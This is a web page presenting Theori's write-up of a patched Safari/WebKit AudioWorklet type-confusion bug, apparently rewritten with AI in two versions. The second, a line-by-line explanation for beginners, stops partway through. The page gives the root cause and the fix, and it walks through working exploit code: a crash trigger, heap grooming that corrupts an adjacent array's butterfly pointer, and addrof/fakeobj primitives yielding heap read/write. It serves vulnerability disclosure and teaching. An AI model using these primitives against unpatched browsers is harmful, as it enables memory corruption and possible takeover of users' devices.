Skip to content
Memory corruption Write-up Advanced

Patch Gapping a Safari Type Confusion

A missing type check in WebKit's AudioWorklet allowed a JavaScript object returned from a processor constructor to be treated as an AudioWorkletProcessor, leading to a type confusion. An attacker could exploit this to corrupt memory and potentially achieve arbitrary code execution.

Theori Follow

Published on blog.theori.io

Safari 14.1 shipped in late April with many new features, including its long-awaited implementation of AudioWorklets. Shortly after, a commit landed in WebKit, fixing an AudioWorklet bug which “crashes Safari”.

theori, on blog.theori.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

Safari 14.1 shipped in late April with many new features, including its long-awaited implementation of AudioWorklets. Shortly after, a commit landed in WebKit, fixing an AudioWorklet bug which "crashes Safari". As it turns out, this is an exploitable type confusion bug, and new vulnerable iOS versions were being shipped nearly 3 weeks after the patch went public. Since other exploits for this bug are public, this write-up shares the root cause analysis and exploit.

The WebAudio API is a modular system which allows web developers to control, manipulate, render, and output audio data. The API allows developers to construct arbitrary audio processing graphs consisting of audio source nodes, processing nodes, and output nodes. To give even more control, the API introduced ScriptProcessorNode which allows arbitrary computations on audio data in Javascript. A long standing issue with this type of node was that complex audio processing could lead to unresponsive web apps (since the Javascript runs in the main thread).

AudioWorklets solve this problem by providing a minimal Javascript context running in a background thread (similar to a WebWorker) to perform audio processing. Users pass Javascript modules to the AudioWorklet which register various types of custom audio processors, e.g.

JavaScript
// test-processor.js
class TestProcessor extends AudioWorkletProcessor {
  process (inputs, outputs, parameters) {
    // perform arbitrary computation here
    return true;
  }
}

registerProcessor('test-processor', TestProcessor);

The main thread can then instantiate audio nodes backed by this off-thread processor as follows:

JavaScript
await audioContext.audioWorklet.addModule('test-processor.js');
const node = new AudioWorkletNode(audioContext, 'test-processor');

Setup

The resulting exploit worked as of iOS 14.6 and macOS 11.4.

Finding it

To construct a new AudioWorkletNode, the main thread posts a task to the AudioWorklet thread to call the registered constructor for a given processor name. This constructor is expected to return an object of type AudioWorkletProcessor, but this was not explicitly checked:

C++
RefPtr<AudioWorkletProcessor> AudioWorkletGlobalScope::createProcessor(const String& name, TransferredMessagePort port, Ref<SerializedScriptValue>&& options)
{
    ...
    auto* object = JSC::construct(globalObject, jsConstructor, args, "Failed to construct AudioWorkletProcessor");
    ASSERT(!!scope.exception() == !object);
    RETURN_IF_EXCEPTION(scope, nullptr);

    auto& jsProcessor = *JSC::jsCast<JSAudioWorkletProcessor*>(object);
    jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject));

    return &jsProcessor.wrapped();
}

In the above code, object points to the Javascript object returned from the registered processor constructor. This gets casted to a JSAudioWorkletProcessor and accessed in various ways, which can result in a crash. As a proof-of-concept, object can be made to point to an object {foo: 'bar'} with the following worklet code:

JavaScript
registerProcessor('test-processor', class {
  constructor() {
    return {foo: 'bar'};
  }
});

The patch for this bug adds the missing type check via jsDynamicCast, which returns nullptr if the object is not of the desired type:

Diff
-    auto& jsProcessor = *JSC::jsCast<JSAudioWorkletProcessor*>(object);
-    jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject));
+    auto* jsProcessor = JSC::jsDynamicCast<JSAudioWorkletProcessor*>(vm, object);
+    if (!jsProcessor)
+        return nullptr;
+
+    jsProcessor->wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(jsProcessor, globalObject));

-    return &jsProcessor.wrapped();
+    return &jsProcessor->wrapped();
 }

Exploitation

Writing an exploit is often like programming a very strange machine. We begin with limited capabilities, upon which we build stronger and stronger abstractions, until we have achieved arbitrary code execution. The first step is determining what primitives we have to build our abstractions on.

The primitives

Our object gets confused with a JSAudioWorkletProcessor. This type (along with many others in WebKit) is auto-generated from an IDL file at compile time, and is a thin wrapper around JSDOMWrapper:

C++
template<typename ImplementationClass> class JSDOMWrapper : public JSDOMObject {
public:
    ImplementationClass& wrapped() const { return m_wrapped; }
    ...

private:
    Ref<ImplementationClass> m_wrapped;
};

In our case, m_wrapped should point to a C++ object implementing the AudioWorkletProcessor interface. Our confused object promptly gets used as follows:

C++
jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject));

i.e. AudioWorkletProcessor::setProcessCallback will be called on the m_wrapped fetched from our confused object (from offset 0x18). This function simply sets an internal field m_processCallback (also at offset 0x18) to the provided pointer:

C++
void AudioWorkletProcessor::setProcessCallback(std::unique_ptr<JSCallbackDataStrong>&& processCallback)
{
    m_processCallback = WTFMove(processCallback);
}

Since m_processCallback is a unique_ptr, overwriting a nonzero value in this position will cause a destruction, so we must be careful to avoid a crash. This aside, we can roughly think of the primitive as:

C++
(void ***)(object)[3][3] = makeUnique<JSCallbackDataStrong>(...);

In addition to this, note that AudioWorkletGlobalScope::createProcessor returns &jsProcessor.wrapped() as a RefPtr<AudioWorkletProcessor>. This reference is held by the AudioWorkletNode we constructed on the main thread and is used to call AudioWorkletProcessor::process during audio rendering. Although we won't use it in our exploit, this type-confused access is probably useful for exploitation. We do however need to note that reference counted types, such as AudioWorkletProcessor, store the reference count in their first 8 bytes. Constructing and holding this RefPtr will increment this value, so our exploit must ensure that this side-effect is safe.

Type feng shui

A typical strategy to exploit a type confusion is to search for object types whose fields overlap the confused type in a useful way. We started down this line with a simple observation: we can control the value returned by jsProcessor.wrapped() using inline properties. Offset 0x18 of a custom JSObject contains the second inline property, so we can make wrapped() return a pointer to some value val using the following processor constructor:

JavaScript
registerProcessor('test-processor', class {
  constructor() {
    return {fill: 1, wrapped: val};
  }
});

Using this, our primitive becomes

C++
(void **)(&val + 0x18) = makeUnique<JSCallbackDataStrong>(...);

Now we statically search for JSValues which have useful fields at offset 0x18. A simple CodeQL query run on the JavaScriptCore database can accomplish this:

JavaScript
import cpp

predicate hasFieldAtOffset(Class c, Field f, int offset) {
  // c directly has a field at the given offset
  c.getAMember() = f and offset = f.getByteOffset()
  or
  // c has a field which internally holds another field at this offset
  exists(Field hf | hf = c.getAField() | hasFieldAtOffset(hf.getType(), f, offset - hf.getByteOffset()))
  or
  // c has a base class which has a field at this offset
  exists(Class bc | bc = c.getABaseClass() | hasFieldAtOffset(bc, f, offset - c.getABaseClassByteOffset(bc)))
}

from Class c, Field f
where c.getABaseClass*().getName() = "JSCell" // c inherits from JSCell
      and hasFieldAtOffset(c, f, 24)
select f

Although a few of these results looked promising, the constraints on our primitive (especially the destructor call on the overwritten value) foiled these attempts. Thankfully, however, our query didn't exhaust all possible exploit paths. Specifically, if val referenced an object smaller than 0x18 bytes, then the overwrite would modify a different offset in the object following val in the heap.

Conveniently, JSArray is a 16-byte type consisting of the cell header and a butterfly pointer. If two arrays are adjacent in memory, writing to offset 0x18 from the first array would overwrite the second array's butterfly pointer! This allows array accesses to inspect and modify contents of the WebKit heap, which enables stronger exploit primitives to be built.

array butterfly overwrite
array butterfly overwrite From the original on blog.theori.io

Note that during this overwrite, the second array's butterfly pointer will be destructed as a JSCallbackDataStrong. Fortunately, we can avoid a crash by initializing the first few array indices to zero, which effectively makes this destructor a no-op. Below is the worklet code that does this overwrite:

JavaScript
// reclaim any freed allocations that exist
let keep = [];
for (var i = 0; i < 100; i++) keep.push([1.1*i]);

// allocate two adjacent arrays
let a0 = [0,0,0,0,0,0,0,0,0,0];
let a1 = [0,0,0,0,0,0,0,0,0,0];

// transition to unboxed double storage (and leave first 3 values zero)
a1[3] = 13.37;

registerProcessor("a", class {
  constructor() {
    // overwrite a1's butterfly with a fastMalloc pointer
    return {fill: 1, wrapped: a0};
  }
});

Building abstractions

Most Javascript exploits start by building two handy primitives: addrof and fakeobj. The former returns the address of any Javascript object, and the latter allows any address to be treated as a Javascript object. Most of the challenge in exploiting a JS bug is in constructing these two functions, as there are well-known techniques to build exploits on top of them. See, for instance, the great Project Zero post JITSploitation II: Getting Read/Write.

Our current PoC creates a float array with a butterfly pointing into the fastMalloc heap. This sounds promising, but there's a catch: the 4 bytes before the butterfly address store the length of the butterfly's elements. With our current PoC, this value is often zero, so our corrupted array is mostly useless. This could likely be solved by first spraying objects in the WebKit heap and hoping a nonzero value remains in this position. While playing with this idea, we stumbled on an easy way to directly fully control this fake butterfly length:

JavaScript
registerProcessor("a", class {
  constructor() {
    // this part is magic:
    // put 0xfffe000000001337 just before the new allocation to fake the butterfly sizes
    eval('1 + 0x1336');

    // overwrite a1's butterfly with a fastMalloc pointer
    return {fill: 1, wrapped: a0};
  }
});

With that issue fixed, we can now read and write to a large region of the heap using the elements of a1! Surely there are many ways to proceed from here, but the most direct approach we found was to repeat the above procedure for a second pair of arrays b0 and b1. This points b1's butterfly into the heap just beyond a1's new butterfly. We can find the offset between the butterflies by writing a sentinel value into b1[0] and scanning through the elements of a1 until the value is found:

JavaScript
b1[0] = kSentinel;
// scan for the sentinel to find the offset from the two butterflies
for (var i = 0; i < a1.length; i++) {
  if (bigint2float(unboxDouble(float2bigint(a1[i]))) == kSentinel) {
    offset = i;
    break;
  }
}
butterfly heap layout
butterfly heap layout From the original on blog.theori.io

With this offset found, we know that a1[offset] and b1[0] refer to the same address in the heap. By setting up a1 as an unboxed double array and b1 as a boxed array, we can view this memory through two different lenses, which is essentially what fakeobj and addrof need to do:

JavaScript
function addrof(val) {
  b1[0] = val;
  return float2bigint(a1[offset]);
}

function fakeobj(addr) {
  a1[offset] = bigint2float(addr);
  return b1[0];
}

With these in place, arbitrary read and write are straightforward to implement (see this P0 post). In short, we can use inline properties to forge a fake unboxed double array with a butterfly pointing at an object of our choice. Then, array accesses can read and modify the internal state of other objects. This gives a StructureID leak, which allows for arbitrary fake object forgery and even stronger read/write primitives.

Cleanup

Recall that the original type confusion bug was only used to setup our corrupted a1 and b1 arrays, i.e. our primitives no longer rely on triggering the bug. However, this setup has badly corrupted some objects in a way which could cause crashes during garbage collection, specifically:

  1. Two arrays (a1 and b1) have butterfly pointers into the wrong heap, which may cause issues if they are released.
  2. Two arrays (a0 and b0) are being held as RefPtr<AudioWorkletProcessor>, so their "refcounts" have been incremented. This has corrupted their cell header's StructureID, which will lead to a crash during GC.

Thankfully these are both straightforward to correct using the read/write method above. After doing this, our exploit primitives are stable and can be used as part of an exploit chain.

Next steps: PAC bypass

Getting truly arbitrary code execution requires bypassing PAC. Although this mitigation is still rarely a bottleneck for attackers, bypasses should nonetheless be considered security bugs in their own right. Thus, we leave this part as an exercise to the reader.

Root cause

The registered processor constructor is called through JSC::construct, and its return value is cast with JSC::jsCast<JSAudioWorkletProcessor*> without any check that the returned object actually is a JSAudioWorkletProcessor. jsCast is an unchecked cast, so any Javascript object returned by the constructor is treated as a JSAudioWorkletProcessor and its m_wrapped field at offset 0x18 is dereferenced as an AudioWorkletProcessor. The subsequent setProcessCallback then writes a JSCallbackDataStrong pointer to offset 0x18 of whatever m_wrapped points at, and the returned RefPtr increments the first 8 bytes of that same object.

The cast itself performs no runtime type check, and the surrounding code only asserts that an exception and a null object are consistent. The write lands in the fastMalloc heap, which is not Gigacaged; the Gigacage covers heaps used for user data arrays such as Array or ArrayBuffer storage, and is intended to keep out-of-bounds accesses away from sensitive data outside the cage. The unique_ptr destructor on the overwritten value is a hazard rather than a mitigation, and the exploit works around it by zeroing the first array indices.

Impact

The type confusion can be triggered through the AudioWorklet processor constructor and, from there, build addrof and fakeobj primitives, arbitrary read and write over the WebKit heap, and a StructureID leak. The write-up stops short of full code execution: that requires a PAC bypass, which is left as an exercise to the reader. The exploit worked as of iOS 14.6 and macOS 11.4, and new vulnerable iOS versions were being shipped nearly 3 weeks after the patch went public, so the practical exposure is patch gapping: a newly released version of iOS remained vulnerable weeks after the patch was public.

Fix

The patch adds the missing type check via jsDynamicCast, which returns nullptr if the object is not of the desired type. The diff is shown in full in the "Finding it" section above. The write-up's conclusion is that the window of time between a public patch and a stable release should be as small as possible; in this case a newly released version of iOS remained vulnerable weeks after the patch was public.

Variants to test

  1. Other IDL-generated wrappers whose constructors or callbacks return a Javascript object that is cast without a check. A positive result is a crash from a constructor returning a plain object, followed by a controllable write at the wrapper's m_wrapped offset.
  2. Other jsCast call sites reachable from Javascript where the cast target is a JSDOMWrapper subclass. A positive result is a type-confused wrapped() access on an object of a different type.
  3. Heap layouts where a small object (16 bytes or less, such as JSArray) follows the confused object, so the 0x18 write lands in the next object's header. A positive result is a corrupted butterfly pointer on the following array.
  4. Butterfly length control via allocation adjacency, as with the eval('1 + 0x1336') trick. A positive result is a nonzero, attacker-chosen length in the 4 bytes before the fake butterfly.
  5. Garbage collection after corruption. A positive result is a crash from a corrupted StructureID or a butterfly pointer into the wrong heap, which the cleanup step is meant to prevent.
  6. PAC bypass on top of the read/write primitives. A positive result is control of a code pointer despite pointer authentication.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 26 min read.

What happened, in plain words

Safari is Apple's web browser. In late April, a new version of Safari (14.1) shipped with a feature called AudioWorklets, which lets a web page do audio processing in the background. Shortly after, a fix (a "commit", meaning a change to the source code) landed in WebKit, the open-source engine that Safari is built on. That fix addressed an AudioWorklet bug whose visible symptom was that it "crashes Safari".

As it turned out, the bug was worse than a crash. It was an exploitable type confusion bug. "Exploitable" means an attacker can turn it into something useful for taking control of the browser, not just a nuisance. "Type confusion" means the program treats an object as if it were a different kind of object than it really is, like a receptionist filing a passport in the folder for driving licences. And new vulnerable versions of iOS (the iPhone operating system) were still being shipped almost three weeks after the fix was public. Because other people had already published exploits for this bug, the researchers at Theori shared their analysis of the root cause and their exploit.

This article walks through that work for someone who has never done security research. It explains every idea as it comes up, and it shows the exact code from the write-up, with a plain-language explanation of each line.

Background: what an API and an audio graph are

An API (Application Programming Interface) is a set of rules a program offers so other programs can use it. Think of a restaurant menu: you do not go into the kitchen, you order from the menu and the kitchen does the work. The WebAudio API is the menu a web page uses to work with sound. It is a modular system: a page builds a graph of audio nodes, where each node does one job. There are source nodes (where sound comes from), processing nodes (which change the sound) and output nodes (which send it to the speakers).

To give developers even more control, the API introduced ScriptProcessorNode, which lets a page run its own JavaScript code on the audio data. A long-standing problem with this kind of node was that heavy audio processing could make the web app unresponsive, because the JavaScript runs on the main thread, the same place that handles clicks, scrolling and drawing the page. If that thread is busy, the page freezes.

AudioWorklets solve this by giving the audio code its own small JavaScript context running in a background thread, similar to a WebWorker (a way to run JavaScript off the main thread). A page passes JavaScript modules to the AudioWorklet, and those modules register custom audio processors. Here is the example from the write-up:

JavaScript
// test-processor.js
class TestProcessor extends AudioWorkletProcessor {
  process (inputs, outputs, parameters) {
    // perform arbitrary computation here
    return true;
  }
}

registerProcessor('test-processor', TestProcessor);

Line by line:

  • // test-processor.js is a comment naming the file. The .js extension means it is JavaScript.
  • class TestProcessor extends AudioWorkletProcessor { declares a new class (a blueprint for objects) called TestProcessor. extends AudioWorkletProcessor means it inherits from the built-in AudioWorkletProcessor class, so it gets the standard behaviour and can add its own.
  • process (inputs, outputs, parameters) { defines a method named process. This is the function the browser will call repeatedly to handle audio. It receives the incoming audio (inputs), the buffers to fill (outputs) and any parameters.
  • // perform arbitrary computation here is a comment saying any computation can go in this spot.
  • return true; tells the browser to keep the processor alive. Returning false would let it be shut down.
  • } closes the method, and the next } closes the class.
  • registerProcessor('test-processor', TestProcessor); registers the class under the name 'test-processor', so the main thread can refer to it by that name later.

The main thread can then create audio nodes backed by this off-thread processor:

JavaScript
await audioContext.audioWorklet.addModule('test-processor.js');
const node = new AudioWorkletNode(audioContext, 'test-processor');

Line by line:

  • await audioContext.audioWorklet.addModule('test-processor.js'); loads the file into the audio worklet. await means "wait here until this finishes". audioContext is the object that represents the audio system for the page.
  • const node = new AudioWorkletNode(audioContext, 'test-processor'); creates a new audio node (new AudioWorkletNode(...)) that uses the registered processor named 'test-processor', and stores it in a variable called node.

Setup: what the researchers used

The resulting exploit worked as of iOS 14.6 and macOS 11.4.

A few terms before we go on. JavaScriptCore (often shortened to JSC) is the part of WebKit that runs JavaScript. CodeQL is a tool that lets you ask questions about source code as if it were a database, so you can search for patterns across a large codebase. A patch is a change that fixes a bug. Attack surface is the set of places where an attacker can interact with the program; here, it is the web page and its audio code.

Finding it: the missing check

When the main thread creates a new AudioWorkletNode, it posts a task to the AudioWorklet thread asking it to call the registered constructor for the given processor name. A constructor is the function that builds a new object. The code expected this constructor to return an object of type AudioWorkletProcessor, but it never explicitly checked that it did. Here is the relevant C++ code from WebKit:

C++
RefPtr<AudioWorkletProcessor> AudioWorkletGlobalScope::createProcessor(const String& name, TransferredMessagePort port, Ref<SerializedScriptValue>&& options)
{
    ...
    auto* object = JSC::construct(globalObject, jsConstructor, args, "Failed to construct AudioWorkletProcessor");
    ASSERT(!!scope.exception() == !object);
    RETURN_IF_EXCEPTION(scope, nullptr);

    auto& jsProcessor = *JSC::jsCast<JSAudioWorkletProcessor*>(object);
    jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject));

    return &jsProcessor.wrapped();
}

Line by line:

  • RefPtr<AudioWorkletProcessor> AudioWorkletGlobalScope::createProcessor(...) declares a function named createProcessor that belongs to AudioWorkletGlobalScope and returns a RefPtr<AudioWorkletProcessor>. A RefPtr is a smart pointer that keeps a count of how many references exist to an object, so the object is not deleted while still in use. The parameters are the processor name, a message port, and serialised options.
  • ... stands for code omitted from the excerpt.
  • auto* object = JSC::construct(globalObject, jsConstructor, args, "Failed to construct AudioWorkletProcessor"); calls the JavaScript constructor (jsConstructor) and stores whatever it returns in object. The string is the error message used if construction fails.
  • ASSERT(!!scope.exception() == !object); is a sanity check: it asserts that either there is an exception and no object, or an object and no exception. In release builds, assertions are usually compiled out.
  • RETURN_IF_EXCEPTION(scope, nullptr); returns early if an exception occurred.
  • auto& jsProcessor = *JSC::jsCast<JSAudioWorkletProcessor*>(object); is the heart of the bug. JSC::jsCast<JSAudioWorkletProcessor*> tells the program to treat object as a JSAudioWorkletProcessor without checking that it really is one. The * dereferences the resulting pointer, and auto& binds a reference to it.
  • jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject)); calls wrapped() to get the underlying C++ object, then calls setProcessCallback on it, passing a newly allocated JSCallbackDataStrong (created with makeUnique).
  • return &jsProcessor.wrapped(); returns the address of that underlying object as the function's result.
  • } closes the function.

In this code, object points to the JavaScript object returned by the registered processor constructor. It is cast to a JSAudioWorkletProcessor and accessed in various ways, which can result in a crash. As a proof of concept, object can be made to point to an object {foo: 'bar'} with the following worklet code:

JavaScript
registerProcessor('test-processor', class {
  constructor() {
    return {foo: 'bar'};
  }
});

Line by line:

  • registerProcessor('test-processor', class { registers a processor named 'test-processor' using an anonymous class (a class with no name).
  • constructor() { defines the constructor, the function that runs when a new instance is created.
  • return {foo: 'bar'}; returns a plain JavaScript object with one property, foo, set to the string 'bar'. This is not an AudioWorkletProcessor at all.
  • } closes the constructor, and }); closes the class and the registerProcessor call.

Because the code never checks the type, it treats {foo: 'bar'} as if it were an AudioWorkletProcessor, which can result in a crash. That is the type confusion.

The patch for this bug adds the missing type check via jsDynamicCast, which returns nullptr (a null pointer, meaning "nothing") if the object is not of the desired type:

Diff
-    auto& jsProcessor = *JSC::jsCast<JSAudioWorkletProcessor*>(object);
-    jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject));
+    auto* jsProcessor = JSC::jsDynamicCast<JSAudioWorkletProcessor*>(vm, object);
+    if (!jsProcessor)
+        return nullptr;
+
+    jsProcessor->wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(jsProcessor, globalObject));

-    return &jsProcessor.wrapped();
+    return &jsProcessor->wrapped();
 }

Line by line (lines starting with - are removed, lines starting with + are added):

  • The old jsCast line is removed. jsCast is an unchecked cast: it just reinterprets the pointer.
  • The old setProcessCallback line is removed.
  • auto* jsProcessor = JSC::jsDynamicCast<JSAudioWorkletProcessor*>(vm, object); is added. jsDynamicCast is a checked cast: it looks at the object at runtime and returns a valid pointer only if the object really is a JSAudioWorkletProcessor.
  • if (!jsProcessor) and return nullptr; are added: if the cast failed, the function returns nothing instead of continuing with a bogus object.
  • jsProcessor->wrapped().setProcessCallback(...) is added, using -> because jsProcessor is now a pointer.
  • The final return line is changed from &jsProcessor.wrapped() to &jsProcessor->wrapped() to match the pointer.
  • } closes the function.

Exploitation: building up from small pieces

Writing an exploit is often like programming a very strange machine. You begin with limited capabilities, and on top of them you build stronger and stronger abstractions, until you achieve arbitrary code execution (the ability to run any code you want on the target). The first step is to work out what primitives you have to build on. A primitive here means a small, reliable capability, such as "write a value to a chosen place in memory".

The primitives

The confused object is treated as a JSAudioWorkletProcessor. This type, like many others in WebKit, is auto-generated from an IDL file at compile time. IDL (Interface Definition Language) is a way of describing an interface in a neutral form; a tool then generates the C++ code that connects JavaScript to the underlying implementation. The generated type is a thin wrapper around JSDOMWrapper:

C++
template<typename ImplementationClass> class JSDOMWrapper : public JSDOMObject {
public:
    ImplementationClass& wrapped() const { return m_wrapped; }
    ...

private:
    Ref<ImplementationClass> m_wrapped;
};

Line by line:

  • template<typename ImplementationClass> class JSDOMWrapper : public JSDOMObject { declares a template class. A template is a blueprint that can be filled in with different types; here ImplementationClass is the type it wraps. It inherits from JSDOMObject.
  • public: begins the section of members that outside code can use.
  • ImplementationClass& wrapped() const { return m_wrapped; } defines a method wrapped() that returns a reference to the wrapped object. const means it does not modify the wrapper.
  • ... stands for omitted code.
  • private: begins the section only the class itself can use.
  • Ref<ImplementationClass> m_wrapped; is the member that holds the wrapped object. Ref is a reference-counted smart pointer.
  • }; closes the class.

In this case, m_wrapped should point to a C++ object implementing the AudioWorkletProcessor interface. The confused object is then used as follows:

C++
jsProcessor.wrapped().setProcessCallback(makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject));

Line by line:

  • jsProcessor.wrapped() gets the underlying object from the wrapper. Because the object is confused, this reads whatever value sits at the wrapper's m_wrapped field, which is at offset 0x18 (24 bytes) from the start of the object.
  • .setProcessCallback(...) calls a method on that value.
  • makeUnique<JSCallbackDataStrong>(&jsProcessor, globalObject) creates a new JSCallbackDataStrong object, passing the address of jsProcessor and the global object.

So AudioWorkletProcessor::setProcessCallback is called on the m_wrapped fetched from the confused object (from offset 0x18). This function simply sets an internal field m_processCallback (also at offset 0x18) to the provided pointer:

C++
void AudioWorkletProcessor::setProcessCallback(std::unique_ptr<JSCallbackDataStrong>&& processCallback)
{
    m_processCallback = WTFMove(processCallback);
}

Line by line:

  • void AudioWorkletProcessor::setProcessCallback(...) declares a function that returns nothing (void).
  • std::unique_ptr<JSCallbackDataStrong>&& processCallback is the parameter: a unique_ptr, a smart pointer that owns its object exclusively, passed as an rvalue reference (&&), meaning it is being moved in.
  • m_processCallback = WTFMove(processCallback); moves the pointer into the member field m_processCallback. WTFMove is WebKit's version of std::move, which transfers ownership without copying.
  • } closes the function.

Since m_processCallback is a unique_ptr, overwriting a nonzero value in this position will cause a destruction (the old value is deleted when replaced), so the exploit must be careful to avoid a crash. This aside, the primitive can roughly be thought of as:

C++
(void ***)(object)[3][3] = makeUnique<JSCallbackDataStrong>(...);

Line by line:

  • (void ***)(object) treats object as a pointer to a pointer to a pointer to void (a generic pointer type).
  • [3][3] indexes it as if it were a two-dimensional array, reaching the position 3 times 8 bytes in, which is 24 bytes, or 0x18.
  • = makeUnique<JSCallbackDataStrong>(...) stores a newly allocated pointer there.

In plain words: the bug writes a pointer at offset 0x18 of whatever the confused object's m_wrapped points at.

In addition, AudioWorkletGlobalScope::createProcessor returns &jsProcessor.wrapped() as a RefPtr<AudioWorkletProcessor>. This reference is held by the AudioWorkletNode constructed on the main thread and is used to call AudioWorkletProcessor::process during audio rendering. Although the exploit does not use it, this type-confused access is probably useful for exploitation. The exploit does need to note that reference-counted types, such as AudioWorkletProcessor, store the reference count in their first 8 bytes. Constructing and holding this RefPtr will increment this value, so the exploit must ensure that this side-effect is safe.

Type feng shui

A typical strategy to exploit a type confusion is to search for object types whose fields overlap the confused type in a useful way. Feng shui here is a playful term for arranging objects in memory so that their layouts line up helpfully. The researchers started with a simple observation: they can control the value returned by jsProcessor.wrapped() using inline properties. Inline properties are a JavaScript engine optimisation: for small objects, property values are stored directly inside the object rather than in a separate array. Offset 0x18 of a custom JSObject contains the second inline property, so wrapped() can be made to return a pointer to some value val using the following processor constructor:

JavaScript
registerProcessor('test-processor', class {
  constructor() {
    return {fill: 1, wrapped: val};
  }
});

Line by line:

  • registerProcessor('test-processor', class { registers a processor named 'test-processor' with an anonymous class.
  • constructor() { defines the constructor.
  • return {fill: 1, wrapped: val}; returns an object with two properties. fill is set to 1, and wrapped is set to val, a value the attacker chooses. Because of how inline properties are laid out, wrapped lands at offset 0x18, exactly where the code expects m_wrapped.
  • } closes the constructor, and }); closes the class and the call.

Using this, the primitive becomes:

C++
(void **)(&val + 0x18) = makeUnique<JSCallbackDataStrong>(...);

Line by line:

  • (void **)(&val + 0x18) takes the address of val, adds 0x18 bytes, and treats the result as a pointer to a pointer.
  • = makeUnique<JSCallbackDataStrong>(...) writes a newly allocated pointer there.

In plain words: the primitive becomes a write at offset 0x18 from a value the attacker chooses.

The researchers then statically searched for JSValues which have useful fields at offset 0x18. Statically means analysing the code without running it. A simple CodeQL query run on the JavaScriptCore database can do this:

JavaScript
import cpp

predicate hasFieldAtOffset(Class c, Field f, int offset) {
  // c directly has a field at the given offset
  c.getAMember() = f and offset = f.getByteOffset()
  or
  // c has a field which internally holds another field at this offset
  exists(Field hf | hf = c.getAField() | hasFieldAtOffset(hf.getType(), f, offset - hf.getByteOffset()))
  or
  // c has a base class which has a field at this offset
  exists(Class bc | bc = c.getABaseClass() | hasFieldAtOffset(bc, f, offset - c.getABaseClassByteOffset(bc)))
}

from Class c, Field f
where c.getABaseClass*().getName() = "JSCell" // c inherits from JSCell
      and hasFieldAtOffset(c, f, 24)
select f

Line by line:

  • import cpp loads the CodeQL library for analysing C++ code.
  • predicate hasFieldAtOffset(Class c, Field f, int offset) { defines a named condition (a predicate) that is true when class c has field f at the given byte offset.
  • c.getAMember() = f and offset = f.getByteOffset() is the first case: c directly has a member f, and the offset equals that field's byte offset.
  • or means the next case is an alternative.
  • exists(Field hf | hf = c.getAField() | hasFieldAtOffset(hf.getType(), f, offset - hf.getByteOffset())) is the second case: there exists a field hf of c such that the field's type contains f at the remaining offset. This handles nested structures.
  • or again.
  • exists(Class bc | bc = c.getABaseClass() | hasFieldAtOffset(bc, f, offset - c.getABaseClassByteOffset(bc))) is the third case: there exists a base class bc of c that has f at the remaining offset. This handles inheritance.
  • } closes the predicate.
  • from Class c, Field f says the query looks at every class c and field f.
  • where c.getABaseClass*().getName() = "JSCell" restricts to classes that inherit (directly or indirectly, thanks to the *) from JSCell, the base type of all JavaScript values.
  • and hasFieldAtOffset(c, f, 24) requires the field to be at offset 24, which is 0x18.
  • select f outputs the matching fields.

Although a few of these results looked promising, the constraints on the primitive (especially the destructor call on the overwritten value) foiled these attempts. A destructor is the function that runs when an object is destroyed; here, replacing the unique_ptr triggers it. Thankfully, the query did not exhaust all possible exploit paths. Specifically, if val referenced an object smaller than 0x18 bytes, then the overwrite would modify a different offset in the object following val in the heap. The heap is the region of memory where a program allocates objects dynamically at runtime.

Conveniently, JSArray is a 16-byte type consisting of the cell header and a butterfly pointer. A butterfly is JavaScriptCore's name for the separate block of memory that holds an array's elements; the array object itself stores a pointer to it. If two arrays are adjacent in memory, writing to offset 0x18 from the first array would overwrite the second array's butterfly pointer. This allows array accesses to inspect and modify contents of the WebKit heap, which enables stronger exploit primitives to be built.

array butterfly overwrite
array butterfly overwrite From the original on blog.theori.io

The image shows this overwrite: the first array's write lands on the second array's butterfly pointer, so the second array now points into the heap.

Note that during this overwrite, the second array's butterfly pointer will be destructed as a JSCallbackDataStrong. Fortunately, a crash can be avoided by initialising the first few array indices to zero, which effectively makes this destructor a no-op. Below is the worklet code that does this overwrite:

JavaScript
// reclaim any freed allocations that exist
let keep = [];
for (var i = 0; i < 100; i++) keep.push([1.1*i]);

// allocate two adjacent arrays
let a0 = [0,0,0,0,0,0,0,0,0,0];
let a1 = [0,0,0,0,0,0,0,0,0,0];

// transition to unboxed double storage (and leave first 3 values zero)
a1[3] = 13.37;

registerProcessor("a", class {
  constructor() {
    // overwrite a1's butterfly with a fastMalloc pointer
    return {fill: 1, wrapped: a0};
  }
});

Line by line:

  • // reclaim any freed allocations that exist is a comment explaining the first step.
  • let keep = []; creates an empty array called keep.
  • for (var i = 0; i < 100; i++) keep.push([1.1*i]); loops 100 times, each time creating a small array containing one number and pushing it into keep. This fills up recently freed memory slots so the next allocations are predictable.
  • // allocate two adjacent arrays is a comment.
  • let a0 = [0,0,0,0,0,0,0,0,0,0]; creates an array of ten zeros.
  • let a1 = [0,0,0,0,0,0,0,0,0,0]; creates a second array of ten zeros. The hope is that a0 and a1 end up next to each other in memory.
  • // transition to unboxed double storage (and leave first 3 values zero) is a comment. Unboxed double storage means the array stores raw floating-point numbers rather than boxed JavaScript values, which changes its memory layout.
  • a1[3] = 13.37; writes a floating-point number at index 3. This forces a1 to switch to double storage, while the first three values stay zero.
  • registerProcessor("a", class { registers a processor named "a".
  • constructor() { defines its constructor.
  • // overwrite a1's butterfly with a fastMalloc pointer is a comment.
  • return {fill: 1, wrapped: a0}; returns an object whose wrapped property is a0. Because wrapped sits at offset 0x18, the bug writes a pointer at offset 0x18 from a0, which lands on a1's butterfly pointer.

Building abstractions

